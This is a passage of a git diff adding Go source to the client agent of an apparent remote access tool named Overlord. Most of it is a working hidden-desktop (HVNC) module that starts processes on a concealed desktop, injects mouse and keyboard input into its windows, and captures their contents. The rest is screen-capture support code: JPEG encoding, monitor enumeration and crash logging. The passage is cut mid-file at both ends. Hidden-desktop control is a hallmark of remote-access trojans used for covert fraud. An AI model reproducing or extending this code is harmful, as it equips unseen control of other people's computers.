+ DrawCursorOnImage(img, bounds)
+ }
+
+ if dstW != capW || dstH != capH {
+ img = resizeNearest(img, dstW, dstH)
+ }
+
+ return img, nil
+}
+
+func startHVNCProcessOnThread(filePath string) error {
+ if filePath == "" {
+ return fmt.Errorf("empty file path")
+ }
+
+ desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
+ if err != nil {
+ return fmt.Errorf("failed to convert desktop name: %v", err)
+ }
+ cmdLine, err := syscall.UTF16FromString(filePath)
+ if err != nil {
+ return fmt.Errorf("failed to convert command line: %v", err)
+ }
+ var si startupInfo
+ var pi processInformation
+ si.cb = uint32(unsafe.Sizeof(si))
+ si.lpDesktop = desktopNamePtr
+ si.dwX = 0
+ si.dwY = 0
+ si.dwFlags = STARTF_USEPOSITION
+
+ ret, _, callErr := procCreateProcessW.Call(
+ 0,
+ uintptr(unsafe.Pointer(&cmdLine[0])),
+ 0,
+ 0,
+ 0,
+ uintptr(CREATE_NEW_CONSOLE),
+ 0,
+ 0,
+ uintptr(unsafe.Pointer(&si)),
+ uintptr(unsafe.Pointer(&pi)),
+ )
+ if ret == 0 {
+ if callErr != nil {
+ return fmt.Errorf("CreateProcess failed: %v", callErr)
+ }
+ return fmt.Errorf("CreateProcess failed")
+ }
+ return nil
+}
+
+func hvncMouseMoveOnThread(display int, x, y int32) error {
+ bounds, _ := hvncResolveCaptureBounds(display)
+ if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
+ procSetCursorPosHVNC.Call(uintptr(x), uintptr(y))
+ hvncInputMu.Lock()
+ hvncLastCursor = point{x: x, y: y}
+ hvncHasCursor = true
+ hvncInputMu.Unlock()
+ return nil
+ }
+
+ absX := bounds.Min.X + int(x)
+ absY := bounds.Min.Y + int(y)
+ if absX < bounds.Min.X {
+ absX = bounds.Min.X
+ }
+ if absY < bounds.Min.Y {
+ absY = bounds.Min.Y
+ }
+ if absX >= bounds.Max.X {
+ absX = bounds.Max.X - 1
+ }
+ if absY >= bounds.Max.Y {
+ absY = bounds.Max.Y - 1
+ }
+
+ procSetCursorPosHVNC.Call(uintptr(absX), uintptr(absY))
+ hvncInputMu.Lock()
+ hvncLastCursor = point{x: int32(absX), y: int32(absY)}
+ hvncHasCursor = true
+ hvncInputMu.Unlock()
+ moveHVNCWindowIfDragging(point{x: int32(absX), y: int32(absY)})
+
+ pt := point{x: int32(absX), y: int32(absY)}
+ hwnd := windowFromPoint(pt)
+ if hwnd != 0 {
+ setWorkingWindow(hwnd)
+ clientPt := pt
+ procScreenToClient.Call(hwnd, uintptr(unsafe.Pointer(&clientPt)))
+ postMouseMessage(hwnd, WM_MOUSEMOVE, uintptr(currentMouseButtons()), clientPt)
+ }
+ return nil
+}
+
+func hvncMouseButtonOnThread(button int, down bool) error {
+ pt := currentHVNCCursor()
+ hwnd := windowFromPoint(pt)
+ if hwnd == 0 {
+ return nil
+ }
+ setWorkingWindow(hwnd)
+ if button == 0 {
+ handleNonClientHit(hwnd, pt, down)
+ }
+ if button == 0 && !down {
+ endHVNCWindowDrag(pt)
+ }
+ clientPt := pt
+ procScreenToClient.Call(hwnd, uintptr(unsafe.Pointer(&clientPt)))
+
+ var msg uint32
+ var wparam uintptr
+ switch button {
+ case 0:
+ if down {
+ msg = WM_LBUTTONDOWN
+ wparam = uintptr(setMouseButton(button, true))
+ } else {
+ msg = WM_LBUTTONUP
+ wparam = uintptr(setMouseButton(button, false))
+ }
+ case 1:
+ if down {
+ msg = WM_MBUTTONDOWN
+ wparam = uintptr(setMouseButton(button, true))
+ } else {
+ msg = WM_MBUTTONUP
+ wparam = uintptr(setMouseButton(button, false))
+ }
+ case 2:
+ if down {
+ msg = WM_RBUTTONDOWN
+ wparam = uintptr(setMouseButton(button, true))
+ } else {
+ msg = WM_RBUTTONUP
+ wparam = uintptr(setMouseButton(button, false))
+ }
+ default:
+ return nil
+ }
+
+ postMouseMessage(hwnd, msg, wparam, clientPt)
+ return nil
+}
+
+func hvncKeyOnThread(vk uint16, down bool) error {
+ hwnd := getWorkingWindow()
+ if hwnd == 0 {
+ pt := currentHVNCCursor()
+ hwnd = windowFromPoint(pt)
+ if hwnd == 0 {
+ return nil
+ }
+ setWorkingWindow(hwnd)
+ }
+ setWorkingWindow(hwnd)
+ updateModifierState(vk, down)
+
+ if isModifierVK(vk) {
+ return nil
+ }
+
+ if down {
+ if ch := virtualKeyToChars(vk); len(ch) > 0 && !isNonPrintableVK(vk) {
+ for _, r := range ch {
+ procPostMessageW.Call(hwnd, WM_CHAR, uintptr(r), uintptr(1))
+ }
+ } else {
+ postKeyMessage(hwnd, WM_KEYDOWN, vk)
+ }
+ } else {
+ postKeyMessage(hwnd, WM_KEYUP, vk)
+ }
+ return nil
+}
+
+func makeLParam(x, y int32) uintptr {
+ return uintptr((uint32(y) << 16) | (uint32(x) & 0xFFFF))
+}
+
+func windowFromPoint(pt point) uintptr {
+ ret, _, _ := procWindowFromPoint.Call(uintptr(*(*int64)(unsafe.Pointer(&pt))))
+ return ret
+}
+
+func setWorkingWindow(hwnd uintptr) {
+ if hwnd == 0 {
+ return
+ }
+ hvncInputMu.Lock()
+ hvncWorkingWindow = hwnd
+ hvncInputMu.Unlock()
+ procSetForegroundWindow.Call(hwnd)
+ procSetActiveWindow.Call(hwnd)
+ procSetFocus.Call(hwnd)
+}
+
+func getWorkingWindow() uintptr {
+ hvncInputMu.Lock()
+ defer hvncInputMu.Unlock()
+ return hvncWorkingWindow
+}
+
+func currentHVNCCursor() point {
+ hvncInputMu.Lock()
+ if hvncHasCursor {
+ pt := hvncLastCursor
+ hvncInputMu.Unlock()
+ return pt
+ }
+ hvncInputMu.Unlock()
+ var pt point
+ procGetCursorPosHVNC.Call(uintptr(unsafe.Pointer(&pt)))
+ return pt
+}
+
+func postMouseMessage(hwnd uintptr, msg uint32, wparam uintptr, pt point) {
+ procPostMessageW.Call(hwnd, uintptr(msg), wparam, makeLParam(pt.x, pt.y))
+}
+
+func postKeyMessage(hwnd uintptr, msg uint32, vk uint16) {
+ scan := mapVirtualKey(uint32(vk))
+ lparam := uintptr(1 | (scan << 16))
+ if msg == WM_KEYUP {
+ lparam |= 1 << 30
+ lparam |= 1 << 31
+ }
+ procPostMessageW.Call(hwnd, uintptr(msg), uintptr(vk), lparam)
+}
+
+func setMouseButton(button int, down bool) uint32 {
+ hvncInputMu.Lock()
+ defer hvncInputMu.Unlock()
+ var mask uint32
+ switch button {
+ case 0:
+ mask = MK_LBUTTON
+ case 1:
+ mask = MK_MBUTTON
+ case 2:
+ mask = MK_RBUTTON
+ default:
+ return hvncMouseButtons
+ }
+ if down {
+ hvncMouseButtons |= mask
+ } else {
+ hvncMouseButtons &^= mask
+ }
+ return hvncMouseButtons
+}
+
+func currentMouseButtons() uint32 {
+ hvncInputMu.Lock()
+ defer hvncInputMu.Unlock()
+ return hvncMouseButtons
+}
+
+func mapVirtualKey(vk uint32) uintptr {
+ r, _, _ := procMapVirtualKeyW.Call(uintptr(vk), 0)
+ return r
+}
+
+func virtualKeyToChars(vk uint16) []rune {
+ buf := make([]uint16, 8)
+ state := buildKeyboardState()
+ ret, _, _ := procToUnicode.Call(
+ uintptr(vk),
+ mapVirtualKey(uint32(vk)),
+ uintptr(unsafe.Pointer(&state[0])),
+ uintptr(unsafe.Pointer(&buf[0])),
+ uintptr(len(buf)),
+ 0,
+ )
+ if ret == 0 {
+ return nil
+ }
+ if ret < 0 {
+ ret = -ret
+ }
+ return []rune(syscall.UTF16ToString(buf[:ret]))
+}
+
+func handleNonClientHit(hwnd uintptr, screenPt point, down bool) {
+ lparam := makeLParam(screenPt.x, screenPt.y)
+ hit, _, _ := procSendMessageW.Call(hwnd, WM_NCHITTEST, 0, lparam)
+ hitTest := int32(hit)
+
+ if hitTest == HTCLOSE && !down {
+ procPostMessageW.Call(hwnd, WM_CLOSE, 0, 0)
+ return
+ }
+
+ if hitTest == HTCAPTION {
+ if down {
+ var r rect
+ if ok, _, _ := procGetWindowRect.Call(hwnd, uintptr(unsafe.Pointer(&r))); ok != 0 {
+ hvncInputMu.Lock()
+ hvncMovingWindow = true
+ hvncWindowToMove = hwnd
+ hvncMoveOffset = point{x: screenPt.x - r.left, y: screenPt.y - r.top}
+ hvncWindowSize = point{x: r.right - r.left, y: r.bottom - r.top}
+ hvncInputMu.Unlock()
+ }
+ } else {
+ endHVNCWindowDrag(screenPt)
+ }
+ return
+ }
+
+ if hitTest == HTLEFT || hitTest == HTRIGHT || hitTest == HTTOP || hitTest == HTBOTTOM || hitTest == HTTOPLEFT || hitTest == HTTOPRIGHT || hitTest == HTBOTTOMLEFT || hitTest == HTBOTTOMRIGHT || hitTest == HTMINBUTTON || hitTest == HTMAXBUTTON {
+ msg := WM_NCLBUTTONDOWN
+ if !down {
+ msg = WM_NCLBUTTONUP
+ }
+ procPostMessageW.Call(hwnd, uintptr(msg), uintptr(hitTest), lparam)
+ }
+}
+
+func moveHVNCWindowIfDragging(screenPt point) {
+ hvncInputMu.Lock()
+ moving := hvncMovingWindow
+ hwnd := hvncWindowToMove
+ offset := hvncMoveOffset
+ size := hvncWindowSize
+ hvncInputMu.Unlock()
+ if !moving || hwnd == 0 {
+ return
+ }
+ newX := int32(screenPt.x) - offset.x
+ newY := int32(screenPt.y) - offset.y
+ procSetWindowPos.Call(hwnd, 0, uintptr(newX), uintptr(newY), uintptr(size.x), uintptr(size.y), 0)
+}
+
+func endHVNCWindowDrag(screenPt point) {
+ hvncInputMu.Lock()
+ moving := hvncMovingWindow
+ hwnd := hvncWindowToMove
+ offset := hvncMoveOffset
+ size := hvncWindowSize
+ hvncMovingWindow = false
+ hvncWindowToMove = 0
+ hvncInputMu.Unlock()
+ if !moving || hwnd == 0 {
+ return
+ }
+ newX := int32(screenPt.x) - offset.x
+ newY := int32(screenPt.y) - offset.y
+ procSetWindowPos.Call(hwnd, 0, uintptr(newX), uintptr(newY), uintptr(size.x), uintptr(size.y), 0)
+}
+
+func hvncMouseWheelOnThread(delta int32) error {
+ pt := currentHVNCCursor()
+ hwnd := getWorkingWindow()
+ if hwnd == 0 {
+ hwnd = windowFromPoint(pt)
+ if hwnd == 0 {
+ return nil
+ }
+ setWorkingWindow(hwnd)
+ }
+ clientPt := pt
+ procScreenToClient.Call(hwnd, uintptr(unsafe.Pointer(&clientPt)))
+ wparam := uintptr(uint16(delta)) << 16
+ procPostMessageW.Call(hwnd, WM_MOUSEWHEEL, wparam, makeLParam(clientPt.x, clientPt.y))
+ return nil
+}
+
+func isNonPrintableVK(vk uint16) bool {
+ if vk >= 0x70 && vk <= 0x7B { // F1-F12
+ return true
+ }
+ switch vk {
+ case 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28: // PageUp/Down, End, Home, Arrows
+ return true
+ case 0x2D, 0x2E: // Insert, Delete
+ return true
+ case 0x5B, 0x5C, 0x5D: // Win, Win, Apps
+ return true
+ case 0x91, 0x90: // Scroll, NumLock
+ return true
+ case 0x0D, 0x1B, 0x09, 0x08: // Enter, Escape, Tab, Backspace
+ return true
+ case 0x10, 0xA0, 0xA1, 0x11, 0xA2, 0xA3, 0x12, 0xA4, 0xA5, 0x14:
+ return true
+ default:
+ return false
+ }
+}
+
+func isModifierVK(vk uint16) bool {
+ switch vk {
+ case VK_SHIFT, VK_LSHIFT, VK_RSHIFT, VK_CONTROL, VK_LCONTROL, VK_RCONTROL, VK_MENU, VK_LMENU, VK_RMENU, VK_CAPITAL:
+ return true
+ default:
+ return false
+ }
+}
+
+func updateModifierState(vk uint16, down bool) {
+ hvncInputMu.Lock()
+ defer hvncInputMu.Unlock()
+ switch vk {
+ case VK_SHIFT, VK_LSHIFT, VK_RSHIFT:
+ hvncShiftDown = down
+ case VK_CONTROL, VK_LCONTROL, VK_RCONTROL:
+ hvncCtrlDown = down
+ case VK_MENU, VK_LMENU, VK_RMENU:
+ hvncAltDown = down
+ case VK_CAPITAL:
+ if down {
+ hvncCapsLock = !hvncCapsLock
+ }
+ }
+}
+
+func buildKeyboardState() []byte {
+ state := make([]byte, 256)
+ hvncInputMu.Lock()
+ shift := hvncShiftDown
+ ctrl := hvncCtrlDown
+ alt := hvncAltDown
+ caps := hvncCapsLock
+ hvncInputMu.Unlock()
+ if shift {
+ state[VK_SHIFT] = 0x80
+ }
+ if ctrl {
+ state[VK_CONTROL] = 0x80
+ }
+ if alt {
+ state[VK_MENU] = 0x80
+ }
+ if caps {
+ state[VK_CAPITAL] = 0x01
+ }
+ return state
+}
+
+func HVNCMonitorCount() int {
+ return displayCount()
+}
+
+func hvncResolveCaptureBounds(display int) (image.Rectangle, string) {
+ mons := monitorList()
+ if display >= 0 && display < len(mons) {
+ mon := mons[display]
+ bounds := captureBounds(mon)
+ if bounds.Dx() > 0 && bounds.Dy() > 0 {
+ return bounds, fmt.Sprintf("monitor=%d name=%q", display, mon.name)
+ }
+ }
+ if desktopBounds, ok := hvncDesktopBounds(); ok {
+ return desktopBounds, "desktop"
+ }
+ vx := int(getSystemMetric(SM_XVIRTUALSCREEN))
+ vy := int(getSystemMetric(SM_YVIRTUALSCREEN))
+ vw := int(getSystemMetric(SM_CXVIRTUALSCREEN))
+ vh := int(getSystemMetric(SM_CYVIRTUALSCREEN))
+ if vw > 0 && vh > 0 {
+ return image.Rect(vx, vy, vx+vw, vy+vh), "virtual"
+ }
+ return image.Rectangle{}, "unknown"
+}
+
+func drawHVNCWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, target []byte, targetStride int) int {
+ hwnd := getTopWindow(0)
+ if hwnd == 0 {
+ return 0
+ }
+ hwnd = getWindow(hwnd, GW_HWNDLAST)
+ if hwnd == 0 {
+ return 0
+ }
+
+ drawn := 0
+ for hwnd != 0 {
+ if drawHVNCWindow(hdcScreen, hwnd, bounds, target, targetStride) {
+ drawn++
+ }
+ hwnd = getWindow(hwnd, GW_HWNDPREV)
+ }
+ return drawn
+}
+
+func drawHVNCWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []byte, targetStride int) bool {
+ if !isWindowVisible(hwnd) {
+ return false
+ }
+ var r rect
+ ok, _, _ := procGetWindowRect.Call(hwnd, uintptr(unsafe.Pointer(&r)))
+ if ok == 0 {
+ return false
+ }
+ winLeft := int(r.left)
+ winTop := int(r.top)
+ winRight := int(r.right)
+ winBottom := int(r.bottom)
+ if winRight <= winLeft || winBottom <= winTop {
+ return false
+ }
+ if winRight <= bounds.Min.X || winLeft >= bounds.Max.X || winBottom <= bounds.Min.Y || winTop >= bounds.Max.Y {
+ return false
+ }
+
+ winW := winRight - winLeft
+ winH := winBottom - winTop
+ if winW <= 0 || winH <= 0 {
+ return false
+ }
+
+ hdcMem := createCompatibleDC(hdcScreen)
+ if hdcMem == 0 {
+ return false
+ }
+ defer deleteDC(hdcMem)
+
+ bmi := bitmapInfo{
+ bmiHeader: bitmapInfoHeader{
+ biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})),
+ biWidth: int32(winW),
+ biHeight: -int32(winH),
+ biPlanes: 1,
+ biBitCount: 32,
+ biCompression: BI_RGB,
+ },
+ }
+ var bits unsafe.Pointer
+ hbmp := createDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &bits)
+ if hbmp == 0 || bits == nil {
+ return false
+ }
+ selectObject(hdcMem, hbmp)
+ defer deleteObject(hbmp)
+
+ if !printWindow(hwnd, hdcMem, PW_RENDERFULLCONTENT) {
+ return false
+ }
+
+ buf := unsafe.Slice((*byte)(bits), winW*winH*4)
+ winStride := winW * 4
+
+ interLeft := maxInt(winLeft, bounds.Min.X)
+ interTop := maxInt(winTop, bounds.Min.Y)
+ interRight := minInt(winRight, bounds.Max.X)
+ interBottom := minInt(winBottom, bounds.Max.Y)
+ if interRight <= interLeft || interBottom <= interTop {
+ return false
+ }
+
+ srcX := interLeft - winLeft
+ srcY := interTop - winTop
+ dstX := interLeft - bounds.Min.X
+ dstY := interTop - bounds.Min.Y
+ copyW := interRight - interLeft
+ copyH := interBottom - interTop
+
+ for y := 0; y < copyH; y++ {
+ srcStart := (srcY+y)*winStride + srcX*4
+ dstStart := (dstY+y)*targetStride + dstX*4
+ copy(target[dstStart:dstStart+copyW*4], buf[srcStart:srcStart+copyW*4])
+ }
+
+ return true
+}
+
+func maxInt(a, b int) int {
+ if a > b {
+ return a
+ }
+ return b
+}
+
+func minInt(a, b int) int {
+ if a < b {
+ return a
+ }
+ return b
+}
diff --git a/Overlord-Client/cmd/agent/capture/jpeg_std.go b/Overlord-Client/cmd/agent/capture/jpeg_std.go
new file mode 100644
index 0000000..cd3115b
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture/jpeg_std.go
@@ -0,0 +1,16 @@
+package capture
+
+import (
+ "bytes"
+ "image"
+ "image/jpeg"
+)
+
+func encodeJPEG(img image.Image, quality int) ([]byte, error) {
+ buf := bytes.Buffer{}
+ err := jpeg.Encode(&buf, img, &jpeg.Options{Quality: quality})
+ if err != nil {
+ return nil, err
+ }
+ return buf.Bytes(), nil
+}
diff --git a/Overlord-Client/cmd/agent/capture/jpeg_turbo.go b/Overlord-Client/cmd/agent/capture/jpeg_turbo.go
new file mode 100644
index 0000000..e9aeb79
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture/jpeg_turbo.go
@@ -0,0 +1,23 @@
+//go:build turbojpeg
+
+package capture
+
+import (
+ "bytes"
+ "image"
+
+ ljpeg "github.com/pixiv/go-libjpeg/jpeg"
+)
+
+func encodeJPEG(img image.Image, quality int) ([]byte, error) {
+ opts := &ljpeg.EncoderOptions{
+ Quality: quality,
+ OptimizeCoding: true,
+ DCTMethod: ljpeg.DCTISlow,
+ }
+ buf := bytes.Buffer{}
+ if err := ljpeg.Encode(&buf, img, opts); err != nil {
+ return nil, err
+ }
+ return buf.Bytes(), nil
+}
diff --git a/Overlord-Client/cmd/agent/capture/monitors_public.go b/Overlord-Client/cmd/agent/capture/monitors_public.go
new file mode 100644
index 0000000..f3d1b21
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture/monitors_public.go
@@ -0,0 +1,16 @@
+package capture
+
+import "image"
+
+type MonitorInfo struct {
+ Width int `msgpack:"width"`
+ Height int `msgpack:"height"`
+}
+
+func DisplayBounds(idx int) image.Rectangle {
+ return displayBounds(idx)
+}
+
+func DisplayScale(idx int) float64 {
+ return displayScale(idx)
+}
diff --git a/Overlord-Client/cmd/agent/capture/monitors_reset_stub.go b/Overlord-Client/cmd/agent/capture/monitors_reset_stub.go
new file mode 100644
index 0000000..f460b75
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture/monitors_reset_stub.go
@@ -0,0 +1,5 @@
+//go:build !windows
+
+package capture
+
+func ResetMonitorCache() {}
diff --git a/Overlord-Client/cmd/agent/capture/monitors_stub.go b/Overlord-Client/cmd/agent/capture/monitors_stub.go
new file mode 100644
index 0000000..04ffb89
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture/monitors_stub.go
@@ -0,0 +1,17 @@
+//go:build !windows
+
+package capture
+
+import "image"
+
+func displayBounds(idx int) image.Rectangle {
+ return image.Rectangle{}
+}
+
+func displayScale(idx int) float64 {
+ return 1.0
+}
+
+func MonitorInfos() []MonitorInfo {
+ return nil
+}
diff --git a/Overlord-Client/cmd/agent/capture/monitors_windows.go b/Overlord-Client/cmd/agent/capture/monitors_windows.go
new file mode 100644
index 0000000..978a5c5
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture/monitors_windows.go
@@ -0,0 +1,278 @@
+//go:build windows
+
+package capture
+
+import (
+ "image"
+ "log"
+ "sort"
+ "strconv"
+ "strings"
+ "sync"
+ "sync/atomic"
+ "syscall"
+ "time"
+ "unsafe"
+
+ "golang.org/x/sys/windows"
+)
+
+var (
+ procEnumDisplayMonitors = user32.NewProc("EnumDisplayMonitors")
+ procGetMonitorInfoW = user32.NewProc("GetMonitorInfoW")
+ procEnumDisplaySettingsW = user32.NewProc("EnumDisplaySettingsW")
+)
+
+type rect struct {
+ left int32
+ top int32
+ right int32
+ bottom int32
+}
+
+type monitorInfoEx struct {
+ cbSize uint32
+ rcMonitor rect
+ rcWork rect
+ dwFlags uint32
+ szDevice [32]uint16
+}
+
+type devMode struct {
+ dmDeviceName [32]uint16
+ dmSpecVersion uint16
+ dmDriverVersion uint16
+ dmSize uint16
+ dmDriverExtra uint16
+ dmFields uint32
+ dmPositionX int32
+ dmPositionY int32
+ dmDisplayOrientation uint32
+ dmDisplayFixedOutput uint32
+ dmColor int16
+ dmDuplex int16
+ dmYResolution int16
+ dmTTOption int16
+ dmCollate int16
+ dmFormName [32]uint16
+ dmLogPixels uint16
+ dmBitsPerPel uint32
+ dmPelsWidth uint32
+ dmPelsHeight uint32
+ dmDisplayFlags uint32
+ dmDisplayFrequency uint32
+ dmICMMethod uint32
+ dmICMIntent uint32
+ dmMediaType uint32
+ dmDitherType uint32
+ dmReserved1 uint32
+ dmReserved2 uint32
+ dmPanningWidth uint32
+ dmPanningHeight uint32
+}
+
+const (
+ monitorInfofPrimary = 1
+ enumCurrentSettings = 0xFFFFFFFF
+)
+
+type monitorDesc struct {
+ name string
+ rect image.Rectangle
+ workRect image.Rectangle
+ primary bool
+ physW int
+ physH int
+ scale float64
+ posX int
+ posY int
+}
+
+var (
+ monitorsCache atomic.Value
+ monitorsMu sync.Mutex
+ monitorsTs int64
+)
+
+func displayCount() int {
+ setDPIAware()
+ return len(monitorList())
+}
+
+func displayBounds(idx int) image.Rectangle {
+ mons := monitorList()
+ if idx >= 0 && idx < len(mons) {
+ return mons[idx].rect
+ }
+
+ if len(mons) > 0 {
+ return mons[0].rect
+ }
+
+ w := int(getSystemMetric(SM_CXSCREEN))
+ h := int(getSystemMetric(SM_CYSCREEN))
+ return image.Rect(0, 0, w, h)
+}
+
+func displayScale(idx int) float64 {
+ mons := monitorList()
+ if idx >= 0 && idx < len(mons) {
+ if mons[idx].scale > 0 {
+ return mons[idx].scale
+ }
+ }
+ return 1.0
+}
+
+func monitorList() []monitorDesc {
+ setDPIAware()
+ if v, ok := monitorsCache.Load().([]monitorDesc); ok && len(v) > 0 && time.Since(time.Unix(0, monitorsTs)) < 30*time.Second {
+ return v
+ }
+
+ monitorsMu.Lock()
+ defer monitorsMu.Unlock()
+
+ if v, ok := monitorsCache.Load().([]monitorDesc); ok && len(v) > 0 && time.Since(time.Unix(0, monitorsTs)) < 30*time.Second {
+ return v
+ }
+
+ mons := enumerateMonitors()
+ monitorsCache.Store(mons)
+ monitorsTs = time.Now().UnixNano()
+ logMonitors(mons)
+ return mons
+}
+
+func ResetMonitorCache() {
+ monitorsMu.Lock()
+ defer monitorsMu.Unlock()
+ monitorsCache.Store([]monitorDesc{})
+ monitorsTs = 0
+}
+
+func enumerateMonitors() []monitorDesc {
+ var result []monitorDesc
+
+ cb := syscall.NewCallback(func(hMonitor, hdc, lprcMonitor, lparam uintptr) uintptr {
+ var mi monitorInfoEx
+ mi.cbSize = uint32(unsafe.Sizeof(mi))
+ if ret, _, _ := procGetMonitorInfoW.Call(hMonitor, uintptr(unsafe.Pointer(&mi))); ret == 0 {
+ return 1
+ }
+
+ name := windows.UTF16ToString(mi.szDevice[:])
+ primary := mi.dwFlags&monitorInfofPrimary != 0
+
+ var dm devMode
+ dm.dmSize = uint16(unsafe.Sizeof(dm))
+ var physW, physH int
+ var scale float64 = 1.0
+ var posX, posY int
+ if ret, _, _ := procEnumDisplaySettingsW.Call(uintptr(unsafe.Pointer(&mi.szDevice[0])), enumCurrentSettings, uintptr(unsafe.Pointer(&dm))); ret != 0 {
+ physW = int(dm.dmPelsWidth)
+ physH = int(dm.dmPelsHeight)
+ posX = int(dm.dmPositionX)
+ posY = int(dm.dmPositionY)
+ vw := int(mi.rcMonitor.right - mi.rcMonitor.left)
+ if vw > 0 {
+ scale = float64(dm.dmPelsWidth) / float64(vw)
+ }
+ }
+
+ r := image.Rect(int(mi.rcMonitor.left), int(mi.rcMonitor.top), int(mi.rcMonitor.right), int(mi.rcMonitor.bottom))
+ w := image.Rect(int(mi.rcWork.left), int(mi.rcWork.top), int(mi.rcWork.right), int(mi.rcWork.bottom))
+
+ result = append(result, monitorDesc{
+ name: name,
+ rect: r,
+ workRect: w,
+ primary: primary,
+ physW: physW,
+ physH: physH,
+ scale: scale,
+ posX: posX,
+ posY: posY,
+ })
+ return 1
+ })
+
+ if ret, _, _ := procEnumDisplayMonitors.Call(0, 0, cb, 0); ret == 0 {
+
+ w := int(getSystemMetric(SM_CXSCREEN))
+ h := int(getSystemMetric(SM_CYSCREEN))
+ return []monitorDesc{{
+ name: "Primary",
+ rect: image.Rect(0, 0, w, h),
+ primary: true,
+ physW: w,
+ physH: h,
+ scale: 1.0,
+ }}
+ }
+
+ sort.Slice(result, func(i, j int) bool {
+ if result[i].primary != result[j].primary {
+ return result[i].primary
+ }
+ oi := deviceOrdinal(result[i].name)
+ oj := deviceOrdinal(result[j].name)
+ if oi >= 0 && oj >= 0 && oi != oj {
+ return oi < oj
+ }
+ if result[i].rect.Min.Y == result[j].rect.Min.Y {
+ return result[i].rect.Min.X < result[j].rect.Min.X
+ }
+ return result[i].rect.Min.Y < result[j].rect.Min.Y
+ })
+
+ return result
+}
+
+func deviceOrdinal(name string) int {
+ name = strings.TrimSpace(name)
+ end := len(name)
+ start := end
+ for start > 0 {
+ c := name[start-1]
+ if c < '0' || c > '9' {
+ break
+ }
+ start--
+ }
+ if start == end {
+ return -1
+ }
+ n, err := strconv.Atoi(name[start:end])
+ if err != nil {
+ return -1
+ }
+ return n
+}
+
+func logMonitors(mons []monitorDesc) {
+ log.Printf("capture: detected %d monitor(s)", len(mons))
+ for i, m := range mons {
+ log.Printf("capture: monitor %d name=%q primary=%v virtual=%v phys=%dx%d scale=%.2f pos=(%d,%d)", i, m.name, m.primary, m.rect, m.physW, m.physH, m.scale, m.posX, m.posY)
+ }
+}
+
+func MonitorInfos() []MonitorInfo {
+ mons := monitorList()
+ if len(mons) == 0 {
+ return nil
+ }
+ infos := make([]MonitorInfo, 0, len(mons))
+ for _, m := range mons {
+ w := m.rect.Dx()
+ h := m.rect.Dy()
+ if w < 0 {
+ w = 0
+ }
+ if h < 0 {
+ h = 0
+ }
+ infos = append(infos, MonitorInfo{Width: w, Height: h})
+ }
+ return infos
+}
diff --git a/Overlord-Client/cmd/agent/capture/panic_guard.go b/Overlord-Client/cmd/agent/capture/panic_guard.go
new file mode 100644
index 0000000..5d3f50b
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture/panic_guard.go
@@ -0,0 +1,56 @@
+package capture
+
+import (
+ "context"
+ "fmt"
+ "log"
+ "os"
+ "path/filepath"
+ "runtime"
+ "runtime/debug"
+ "time"
+)
+
+const crashLogFileName = "crashlogC.log"
+
+func goSafe(label string, cancel context.CancelFunc, fn func()) {
+ go func() {
+ defer recoverAndLog(label, cancel)
+ fn()
+ }()
+}
+
+func recoverAndLog(label string, cancel context.CancelFunc) {
+ if r := recover(); r != nil {
+ reason := fmt.Sprintf("%s panic: %v", label, r)
+ stack := debug.Stack()
+ path := writeCrashLog(reason, stack)
+ log.Printf("[panic] %s (see %s)", reason, path)
+ if cancel != nil {
+ cancel()
+ }
+ }
+}
+
+func writeCrashLog(reason string, stack []byte) string {
+ dir := os.TempDir()
+ _ = os.MkdirAll(dir, 0700)
+ path := filepath.Join(dir, crashLogFileName)
+
+ file, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)
+ if err != nil {
+ log.Printf("[panic] failed to open crash log %s: %v", path, err)
+ return path
+ }
+ defer file.Close()
+
+ timestamp := time.Now().UTC().Format(time.RFC3339)
+ _, _ = fmt.Fprintf(file, "\n=== %s ===\n", timestamp)
+ _, _ = fmt.Fprintf(file, "GOOS=%s GOARCH=%s\n", runtime.GOOS, runtime.GOARCH)
+ _, _ = fmt.Fprintf(file, "Reason: %s\n", reason)
+ if len(stack) > 0 {
+ _, _ = fmt.Fprintf(file, "Stack:\n%s\n", string(stack))
+ }
+
+ return path
+}
diff --git a/Overlord-Client/cmd/agent/capture/reset_capture_stub.go b/Overlord-Client/cmd/agent/capture/reset_capture_stub.go
new file mode 100644
index 0000000..261d7af
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture/reset_capture_stub.go
@@ -0,0 +1,5 @@
+//go:build !windows
+
+package capture
+
+func ResetDesktopCapture() {}
diff --git a/Overlord-Client/cmd/agent/capture/reset_capture_windows.go b/Overlord-Client/cmd/agent/capture/reset_capture_windows.go
new file mode 100644
index 0000000..ac21aa3
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture/reset_capture_windows.go
@@ -0,0 +1,11 @@
+//go:build windows
+
+package capture
+
+func ResetDesktopCapture() {
+ // Prevent freeing the DIB section while a BitBlt capture is in progress.
+ captureMu.Lock()
+ defer captureMu.Unlock()
+ state.reset()
+ dxgiState.reset()
+}
diff --git a/Overlord-Client/cmd/agent/capture/roi_stub.go b/Overlord-Client/cmd/agent/capture/roi_stub.go
new file mode 100644
index 0000000..f2d6ee6
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture/roi_stub.go
@@ -0,0 +1,13 @@
+//go:build !windows
+
+package capture
+
+import "image"
+
+func cursorROI() (image.Rectangle, bool) {
+ return image.Rectangle{}, false
+}
+
+func focusWindowROI() (image.Rectangle, bool) {
+ return image.Rectangle{}, false
+}
diff --git a/Overlord-Client/cmd/agent/capture/roi_windows.go b/Overlord-Client/cmd/agent/capture/roi_windows.go
new file mode 100644
index 0000000..2be40e5
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture/roi_windows.go
@@ -0,0 +1,51 @@
+//go:build windows
+
+package capture
+
+import (
+ "image"
+ "unsafe"
+)
+
+var (
